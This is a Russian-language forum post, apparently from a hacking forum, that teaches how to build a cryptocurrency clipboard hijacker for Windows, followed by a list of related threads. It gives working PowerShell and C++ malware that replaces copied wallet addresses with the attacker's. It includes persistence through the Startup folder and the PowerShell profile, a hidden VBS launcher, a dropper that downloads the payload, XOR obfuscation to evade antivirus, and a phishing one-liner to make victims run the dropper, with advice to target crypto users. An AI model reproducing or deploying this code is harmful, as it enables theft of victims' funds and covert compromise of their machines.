Статья Написание вредоносного ПО для Windows: для развлечения и прибыли

Admin

Администратор

Написание вредоносного ПО для Windows: для развлечения и прибыли​


Такие средства защиты, как антивирусы (AV) и системы предотвращения угроз (EDR), становятся все более сложными, и обходить их с каждым обновлением становится все труднее. Они используют множество методов, в основном методы искусственного интеллекта и машинного обучения (AI/ML), а также анализ поведения для обнаружения угроз.

Я считаю, что лучший способ атаковать — это использовать собственные инструменты целевой системы против нее же. Именно это мы и попытаемся сделать в этой статье: мы напишем необнаруживаемый вредоносный код для перехвата содержимого буфера обмена (clipboard hijacker), используя PowerShell. Так что налейте себе чашечку кофе и наслаждайтесь

Я использую Windows 11 с последним обновлением для Защитника Windows (Windows Defender Security intelligence update).
1767982330001

Существует хорошо известная папка под названием «Автозагрузка» (Startup). Любое приложение, ярлык (lnk-файл), скрипт и т.д., помещенное в нее, автоматически запускается процессом explorer.exe после входа пользователя в систему. Это первая техника, о которой нужно знать.

Другая техника involves манипуляцию профилем PowerShell. Эта техника использовалась APT-группой Turla в качестве механизма персистентности, и ее работа зависит от конфигурации. Она полагается на то, что PowerShell запускается на машине, что по умолчанию не всегда происходит. Однако в корпоративных сетях сценарии входа и другие автоматизированные задачи часто используют PowerShell, что делает эту технику весьма привлекательной.

Когда PowerShell запускается, он использует специальные настройки конфигурации, называемые профилями. Они могут быть настроены для конкретного пользователя или для всей машины. Для пользовательского профиля необходимо создать файл profile.ps1 в определенной папке, которая должна называться WindowsPowerShell. Эта папка должна находиться в каталоге «Документы».

Сочетание этих методов обеспечит очень мощное и скрытное поддержание постоянного присутствия (персистенции) в операционной системе Windows.

В качестве лаунчера мы используем простой VBS-скрипт, так как мы хотим скрыть окно PowerShell во время выполнения. Если мы используем .lnk-файл, окно PowerShell всё равно появится, даже с аргументом -WindowStyle Hidden. Иногда простота — это высшая степень изощренности.

Код:
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell.exe -ExecutionPolicy Bypass", 0, False
Скрипт в файле profile.ps1 будет содержать наш вредоносный код, который будет выполняться в фоновом режиме каждый раз, когда пользователь входит в систему.

Код:
Add-Type -AssemblyName System.Windows.Forms
$regexMap = @{
    "^8[1-9A-HJ-NP-Za-km-z]{94}$" = "Your XMR Address Here"
    "^T[1-9A-HJ-NP-Za-km-z]{33}$" = "Your TRX Address Here" 
    "^0x[a-fA-F0-9]{40}$" = "Your Eth Address Here"         
    "^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$" = "Your LTC Address Here"
    "^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$" = "Your DASH Address Here"
    "(^|\W)(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}($|\W)" = "Your BTC Address Here" 
}
$mutex = New-Object System.Threading.Mutex($false, $mutexName)
if (-not $mutex.WaitOne(0, $false)) {
    exit 1
}
try {
    $lastClipboardText = ""
    while ($true) {
        try {
            $currentClipboard = [System.Windows.Forms.Clipboard]::GetText()
            if ($currentClipboard -and $currentClipboard -ne $lastClipboardText) {
                $lastClipboardText = $currentClipboard
                foreach ($pattern in $regexMap.Keys) {
                    if ($currentClipboard -match $pattern) {
                        $replacement = $regexMap[$pattern]
                        $newClipboard = $currentClipboard -replace $pattern, $replacement
                        [System.Windows.Forms.Clipboard]::SetText($newClipboard)
                        break
                    }
                }
            }
        }
        catch {}
        Start-Sleep -Milliseconds 500
    }
}
finally {
    $mutex.ReleaseMutex()
    $mutex.Close()
}
Теперь финальный этап этого метода — дроппер (`dropper.ps1`), который суммирует две упомянутые выше техники, чтобы подготовить всё для достижения нашего результата.

Код:
$documentsPath = [Environment]::GetFolderPath("MyDocuments")
$folderPath = Join-Path $documentsPath "windowspowershell"
$scriptUrl = "Your Remote profile.ps1 Script URL Here"
$destinationScript = Join-Path $folderPath "profile.ps1"
if (-not (Test-Path -Path $folderPath)) {
New-Item -ItemType Directory -Path $folderPath -Force | Out-Null
(Get-Item $folderPath).Attributes += 'Hidden'
}
for ($i = 0; $i -lt 3; $i++) {
try {
Invoke-WebRequest -Uri $scriptUrl -OutFile $destinationScript
break
} catch {
Start-Sleep -Seconds 3
}
}
$startupPath = [Environment]::GetFolderPath("Startup")
$destinationScript = Join-Path $startupPath "run.vbs"
$vbsScript = @"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell.exe -ExecutionPolicy Bypass", 0, False
"@
Set-Content -Path $destinationScript -Value $vbsScript -Force

Как заразить наши цели? Одного универсального ответа на этот вопрос не существует — есть множество методов, и всё зависит от вашей креативности. Вы можете выбрать любой метод, который сочтёте нужным, при условии, что вы придумаете убедительную и привлекательную историю, которая заставит жертву взаимодействовать с вами и выполнить нужные вам действия. Например, мы можем использовать фишинговый метод Джона Хаммонда (Win + R), чтобы заставить жертву выполнить эту команду за нас.



Код:
powershell -Command "iex (New-Object Net.WebClient).DownloadString('your remote dropper.ps1 URL')"
Имей в виду, что ты должен обеспечить качественный трафик на свое вредоносное ПО, рекламные кампании должны быть нацелены только на людей, связанных с криптовалютами и Web3.
 

Admin

Администратор
C++ VScocde 2022
C++:
#include <windows.h>
#include <string>
#include <regex>
#include <fstream>


//XOR encryption key
const char* XOR_KEY = "gDoS056IW52GzSJwXixZ";
//All DLLs Names encoded with XOR
static const unsigned char KERNEL32_DLL_ENC[] = {
    0x0C, 0x21, 0x1D, 0x3D, 0x55, 0x59, 0x05, 0x7B, 0x79, 0x51, 0x5E, 0x2B
};
static const unsigned char USER32_DLL_ENC[] = {
    0x12, 0x37, 0x0A, 0x21, 0x03, 0x07, 0x18, 0x2D, 0x3B, 0x59
};
//All API Names encoded with XOR
static const unsigned char LOADLIBRARYA_ENC[] = {
    0x2B, 0x2B, 0x0E, 0x37, 0x7C, 0x5C, 0x54, 0x3B, 0x36, 0x47, 0x4B, 0x06
};

static const unsigned char OPENCLIPBOARD_ENC[] = {
    0x28, 0x34, 0x0A, 0x3D, 0x73, 0x59, 0x5F, 0x39, 0x35, 0x5A, 0x53, 0x35, 0x1E
};

static const unsigned char GETCLIPBOARDDATA_ENC[] = {
    0x20, 0x21, 0x1B, 0x10, 0x5C, 0x5C, 0x46, 0x2B, 0x38, 0x54, 0x40, 0x23, 0x3E, 0x32, 0x3E, 0x16
};

static const unsigned char CLOSECLIPBOARD_ENC[] = {
    0x24, 0x28, 0x00, 0x20, 0x55, 0x76, 0x5A, 0x20, 0x27, 0x57, 0x5D, 0x26, 0x08, 0x37
};

static const unsigned char GLOBALLOCK_ENC[] = {
    0x20, 0x28, 0x00, 0x31, 0x51, 0x59, 0x7A, 0x26, 0x34, 0x5E
};

static const unsigned char GLOBALUNLOCK_ENC[] = {
    0x20, 0x28, 0x00, 0x31, 0x51, 0x59, 0x63, 0x27, 0x3B, 0x5A, 0x51, 0x2C
};

static const unsigned char GLOBALALLOC_ENC[] = {
    0x20, 0x28, 0x00, 0x31, 0x51, 0x59, 0x77, 0x25, 0x3B, 0x5A, 0x51
};

static const unsigned char GLOBALFREE_ENC[] = {
    0x20, 0x28, 0x00, 0x31, 0x51, 0x59, 0x70, 0x3B, 0x32, 0x50
};

static const unsigned char EMPTYCLIPBOARD_ENC[] = {
    0x22, 0x29, 0x1F, 0x27, 0x49, 0x76, 0x5A, 0x20, 0x27, 0x57, 0x5D, 0x26, 0x08, 0x37
};

static const unsigned char SETCLIPBOARDDATA_ENC[] = {
    0x34, 0x21, 0x1B, 0x10, 0x5C, 0x5C, 0x46, 0x2B, 0x38, 0x54, 0x40, 0x23, 0x3E, 0x32, 0x3E, 0x16
};



// Regex patterns for various cryptocurrency addresses
std::vector<std::pair<std::regex, std::string>> regexPatterns = {
    {std::regex("^8[1-9A-HJ-NP-Za-km-z]{94}$"), "Your XMR subaddress"},
    {std::regex("^4[0-9A-HJ-NP-Za-km-z]{94}$"), "Your XMR standard address"},
    {std::regex("^T[1-9A-HJ-NP-Za-km-z]{33}$"), "Your TRX address"},
    {std::regex("^0x[a-fA-F0-9]{40}$"), "Your ETH address"},
    {std::regex("^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$"), "Your Doge address"},
    {std::regex("^(bitcoincash:)?[qp][a-z0-9]{41}$"), "your bch address"},
    {std::regex("(^|\\W)(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}($|\\W)"), "Your BTC address"},
    {std::regex("^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$"), "Your LTC address"}
};

// Custom CustomGetProcAddress implementation
typedef FARPROC(WINAPI* pOpenClipboard)(HWND);
typedef HANDLE(WINAPI* pGetClipboardData)(UINT);
typedef BOOL(WINAPI* pCloseClipboard)();
typedef HGLOBAL(WINAPI* pGlobalLock)(HGLOBAL);
typedef BOOL(WINAPI* pGlobalUnlock)(HGLOBAL);
typedef HGLOBAL(WINAPI* pGlobalAlloc)(UINT, SIZE_T);
typedef HGLOBAL(WINAPI* pGlobalFree)(HGLOBAL);
typedef HANDLE(WINAPI* pEmptyClipboard)();
typedef HANDLE(WINAPI* pSetClipboardData)(UINT, HANDLE);
typedef HMODULE(WINAPI* pLoadLibraryA)(LPCSTR);

FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
    if (!hModule || !lpProcName) return NULL;

    BYTE* baseAddr = (BYTE*)hModule;
    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)baseAddr;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return NULL;

    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)(baseAddr + dosHeader->e_lfanew);
    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return NULL;

    IMAGE_DATA_DIRECTORY exportDirData = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (!exportDirData.VirtualAddress) return NULL;

    IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(baseAddr + exportDirData.VirtualAddress);

    DWORD* names = (DWORD*)(baseAddr + exportDir->AddressOfNames);
    WORD* ordinals = (WORD*)(baseAddr + exportDir->AddressOfNameOrdinals);
    DWORD* functions = (DWORD*)(baseAddr + exportDir->AddressOfFunctions);

    for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
        char* name = (char*)(baseAddr + names[i]);
        if (_stricmp(name, lpProcName) == 0) {
            WORD ordinal = ordinals[i];
            DWORD funcRVA = functions[ordinal];
            FARPROC address = (FARPROC)(baseAddr + funcRVA);

            // Check if it's a forward export
            DWORD exportStart = exportDirData.VirtualAddress;
            DWORD exportEnd = exportStart + exportDirData.Size;
            if (funcRVA >= exportStart && funcRVA <= exportEnd) {
                // It's a forward export (e.g., "sechost.OpenProcessToken")
                char* forwardName = (char*)address;
                char dllName[256] = { 0 };
                char funcName[128] = { 0 };

                //sscanf(forwardName, "%[^.].%s", dllName, funcName);
                sscanf_s(forwardName, "%[^.].%s", dllName, funcName);
                strcat_s(dllName, sizeof(dllName), ".dll");

                HMODULE hFwd = LoadLibraryA(dllName);
                if (!hFwd) return NULL;

                return CustomGetProcAddress(hFwd, funcName);
            }

            return address;
        }
    }

    return NULL;
}

char* xor_decrypt_string(const unsigned char* cipher, size_t len, const char* key, size_t key_len)
{
    char* result = (char*)malloc(len + 1);
    if (!result) return NULL;
    for (size_t i = 0; i < len; i++) {
        result[i] = cipher[i] ^ key[i % key_len];
    }
    result[len] = '\0';
    return result;
}


int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow)
{
    //file for output message debugging
    std::ofstream logfile("logs.txt");
    // Dynamically load user32.dll
    std::string kernel32DllName = xor_decrypt_string(KERNEL32_DLL_ENC, sizeof(KERNEL32_DLL_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string user32DllName = xor_decrypt_string(USER32_DLL_ENC, sizeof(USER32_DLL_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string LoadLibraryAName = xor_decrypt_string(LOADLIBRARYA_ENC, sizeof(LOADLIBRARYA_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string OpenClipboardName = xor_decrypt_string(OPENCLIPBOARD_ENC, sizeof(OPENCLIPBOARD_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string GetClipboardDataName = xor_decrypt_string(GETCLIPBOARDDATA_ENC, sizeof(GETCLIPBOARDDATA_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string CloseClipboardName = xor_decrypt_string(CLOSECLIPBOARD_ENC, sizeof(CLOSECLIPBOARD_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string GlobalLockName = xor_decrypt_string(GLOBALLOCK_ENC, sizeof(GLOBALLOCK_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string GlobalUnlockName = xor_decrypt_string(GLOBALUNLOCK_ENC, sizeof(GLOBALUNLOCK_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string GlobalAllocName = xor_decrypt_string(GLOBALALLOC_ENC, sizeof(GLOBALALLOC_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string GlobalFreeName = xor_decrypt_string(GLOBALFREE_ENC, sizeof(GLOBALFREE_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string EmptyClipboardName = xor_decrypt_string(EMPTYCLIPBOARD_ENC, sizeof(EMPTYCLIPBOARD_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string SetClipboardDataName = xor_decrypt_string(SETCLIPBOARDDATA_ENC, sizeof(SETCLIPBOARDDATA_ENC), XOR_KEY, strlen(XOR_KEY));

    if (LoadLibraryAName.empty()) {
        logfile << "Failed to decrypt LoadLibraryA name" << std::endl;
        return 1; // Failed to decrypt LoadLibraryA name
    }
    pLoadLibraryA LoadLibraryA = (pLoadLibraryA)CustomGetProcAddress(GetModuleHandleA(kernel32DllName.c_str()),  LoadLibraryAName.c_str());
    if (!LoadLibraryA) {
        logfile << "Failed to get LoadLibraryA address" << std::endl;
        return 1; // Failed to get LoadLibraryA address
    }
    HMODULE hUser32 = LoadLibraryA(user32DllName.c_str());
    if (!hUser32) {
        logfile << "Failed to load user32.dll" << std::endl;
        return 1; // Failed to load user32.dll
    }
    // Get function pointers
    pOpenClipboard openClipboard = (pOpenClipboard)CustomGetProcAddress(hUser32, OpenClipboardName.c_str());
    pGetClipboardData getClipboardData = (pGetClipboardData)CustomGetProcAddress(hUser32, GetClipboardDataName.c_str());
    pCloseClipboard closeClipboard = (pCloseClipboard)CustomGetProcAddress(hUser32, CloseClipboardName.c_str());
    pGlobalLock globalLock = (pGlobalLock)CustomGetProcAddress(GetModuleHandleA(kernel32DllName.c_str()), GlobalLockName.c_str());
    pGlobalUnlock globalUnlock = (pGlobalUnlock)CustomGetProcAddress(GetModuleHandleA(kernel32DllName.c_str()), GlobalUnlockName.c_str());
    pGlobalAlloc globalAlloc = (pGlobalAlloc)CustomGetProcAddress(GetModuleHandleA(kernel32DllName.c_str()), GlobalAllocName.c_str());
    pGlobalFree globalFree = (pGlobalFree)CustomGetProcAddress(GetModuleHandleA(kernel32DllName.c_str()), GlobalFreeName.c_str());
    pEmptyClipboard emptyClipboard = (pEmptyClipboard)CustomGetProcAddress(hUser32, EmptyClipboardName.c_str());
    pSetClipboardData setClipboardData = (pSetClipboardData)CustomGetProcAddress(hUser32, SetClipboardDataName.c_str());

    if (!openClipboard || !getClipboardData || !closeClipboard || !globalLock || !globalUnlock ||
        !GlobalAlloc || !GlobalFree || !EmptyClipboard || !SetClipboardData) {
        logfile << "Failed to get function addresses" << std::endl;
        return 1; // Failed to get function addresses
    }
    while (1) {
        if (!openClipboard(NULL)) {
            Sleep(250);
            continue;
        }
        HANDLE hData = getClipboardData(CF_TEXT);
        if (hData == NULL) {
            logfile << "Failed to get clipboard data." << std::endl;
            closeClipboard();
            logfile.close();
            continue;
        }
        char* pText = static_cast<char*>(globalLock(hData));
        if (pText == NULL) {
            logfile << "Failed to lock global memory." << std::endl;
            closeClipboard();
            logfile.close();
        }
        std::string text(pText);

        for (const auto& pair : regexPatterns) {
            std::string result = std::regex_replace(text, pair.first, pair.second);
            // If replacement occurred (text changed), we found a match
            if (result != text) {
                // Clear existing clipboard content
                emptyClipboard();
                // Allocate global memory for the text
                HGLOBAL hGlobal = globalAlloc(GMEM_MOVEABLE, pair.second.length() + 1);
                if (!hGlobal) {
                    closeClipboard();
                    logfile << "Cannot allocate memory" << std::endl;
                    return 1;
                }
                // Lock memory and copy text
                char* pGlobal = static_cast<char*>(globalLock(hGlobal));
                strcpy_s(pGlobal, pair.second.length() + 1, pair.second.c_str());
                globalUnlock(hGlobal);
                // Set clipboard data
                if (!setClipboardData(CF_TEXT, hGlobal)) {
                    globalFree(hGlobal);
                    closeClipboard();
                    logfile << "Cannot set clipboard data" << std::endl;
                    return 1;
                }
                break;
            }
        }
        globalUnlock(hData);
        closeClipboard();
        Sleep(333);
    }
    return 0;
}
 
Похожие темы
Traffpost На проверке Услуги Вконтакте - Написание и размещение уникальных комментариев Ищу работу. Предлагаю свои услуги. 1
Anorali Интересно Как поймать хацкера за попу или написание своего honeypot'а Полезные статьи 3
АнАлЬнАя ЧуПаКаБрА Написание статей B/C Готовый софт 0
Anorali Интересно Написание стиллера паролей от wifi Уязвимости и взлом 24
Y Написание уникального ПО/Формирование ботнет сети/Конкуренция в сети/Програмирование Ищу работу. Предлагаю свои услуги. 0
Little_Prince Написание проектов Private Keeper на платной/бесплатной основе. Готовый софт 1
G Написание ПО на заказ! Ищу работу. Предлагаю свои услуги. 6
Support81 Операторы LockBit используют скрытую технику загрузки DLL для загрузки вредоносного приложения Новости в сети 0
Support81 Вирус-вымогатель Interlock использует метод FileFix для доставки вредоносного ПО Новости в сети 0
wrangler65 Изучение загрузчиков вредоносного ПО LNK: случайный анализ Вирусология 0
wrangler65 Создание незаметного вредоносного ПО Ч.2 Полезные статьи 0
wrangler65 Интересно Создание незаметного вредоносного ПО для Windows (C2-фреймворк Villain + обфускация PowerShell + недетектируемая доставка) Полезные статьи 0
Emilio_Gaviriya Инструменты для исследования вредоносного ПО. Вирусология 0
Support81 Хакеры злоупотребляют Binance Smart Chain для хранения вредоносного кода Новости в сети 0
Support81 Ностальгическая вспышка: USB-носители снова используются для распространения вредоносного софта Новости в сети 0
G Софт для выявления вредоносного ПО. Готовый софт 10
G Mobile Security Framework - Выявление вредоносного кода в приложениях Полезные статьи 0
G Maltrail - система обнаружения вредоносного трафика Полезные статьи 0
Admin Статья Полное Руководство по Google Dorks: Говорим с Поисковиком на Его Языке OSINT 0
Admin Статья Базовый OSINT по Telegram OSINT 0
Admin Интересно У Китая всё по плану: сначала военные учения, следом – DDoS-атаки. Новости в сети 0
Admin Статья Не доверяй своей железке: Гайд по по-настоящему безопасным ОС для тех, кто в теме Анонимность и приватность 0
Admin Интересно 70000 пострадавших и 20 миллионов на кону – начались первые аресты по делу о предательстве в Coinbase. Новости в сети 0
Admin Статья Direct Syscalls vs EDR: Как заставить Windows выполнять ваши команды в обход хуков защитного ПО Вирусология 0
Admin Статья OSINT: Прозрачный мир. Полное руководство по разведке по открытым источникам OSINT 0
Admin Статья Osint по компаниям и организациям, полное руководство по разведке OSINT 0
Admin Статья Крипто-детектив: Идем по следу транзакций. Как деанонить блокчейн. OSINT 0
Admin Статья Анонимные веб-браузеры: Путеводитель по цифровой приватности Анонимность и приватность 0
Admin Интересно 9.9 баллов по шкале паники. Если у вас стоит n8n, поздравляем — вы в зоне риска. Новости в сети 0
Admin Статья Полное Руководство по Google Dorks: Говорим с Поисковиком на Его Языке OSINT 0
Admin Статья Методы поиска по электронной почте OSINT 0
el_hacker Интересно Компрометированные учетные данные IAM используются для масштабной кампании по майнингу криптовалюты на AWS. Новости в сети 0
turbion0 Мошенничество на 11 миллионов рублей: в Красноярске арестовали звезд сборной России по санному спорту Новости в сети 0
Support81 Ошибка 500 и бесконечная загрузка. Глобальный сбой Cloudflare «положил» тысячи сайтов по всему миру Новости в сети 0
Support81 Вам тоже написал «диспетчер РСО»? Не переходите по ссылке. Это новая схема мошенников без СМС-кодов Новости в сети 0
Support81 Перевод крупной суммы по СБП на свой же счёт будет расцениваться банком как подозрительный Новости в сети 0
Support81 12 из 13 — столько популярных антивирусов (включая ESET, Avast и Касперский) провалили тест на шпионское ПО Новости в сети 0
Support81 По представлению КГБ. В Беларуси заблокировали «ВКонтакте» Новости в сети 0
Support81 Удар по RDP: 100 стран, 100 000 IP и одна цель — американская инфраструктура Новости в сети 0
Support81 Информационная «золотая лихорадка». Владельцы Telegram-ботов по «пробиву» начали скупать утечки данных до их появления в даркнете Новости в сети 0
Support81 «Госуслуги» по телефону? Итог — перевод в крипто-АТМ. Схемы бьют по пенсионерам Новости в сети 0
Support81 ShinyHunters стоит за атаками по краже данных Salesforce в Qantas, Allianz Life и LVMH Новости в сети 0
Support81 Вайб-кодинг звучал как шутка, пока Opal от Google не начал делать сайты по вашему описанию Новости в сети 0
Support81 По ситуации с xss.is Свободное общение 8
Support81 Вредоносное ПО Lumma для кражи информации возвращается после вмешательства правоохранительных органов Новости в сети 0
Support81 Раньше блокировки были по праздникам. Теперь — по 10 раз в день. Власти решили тормознуть Новости в сети 0
Support81 Национальное агентство по борьбе с преступностью (NCA) Великобритании арестовало четырех человек, подозреваемых в причастности к кибератакам на крупны Новости в сети 0
turbion0 Мошенники массово создают поддельные сайты оплаты проезда по дорогам в Москве, Санкт-Петербурге и Казани. Новости в сети 0
Support81 Белым по белому: как стать «гением» в науке с помощью ChatGPT Новости в сети 0
Support81 С виду — договор, по факту — многоступенчатый троян. Batavia заражает промышленность России Новости в сети 0

Название темы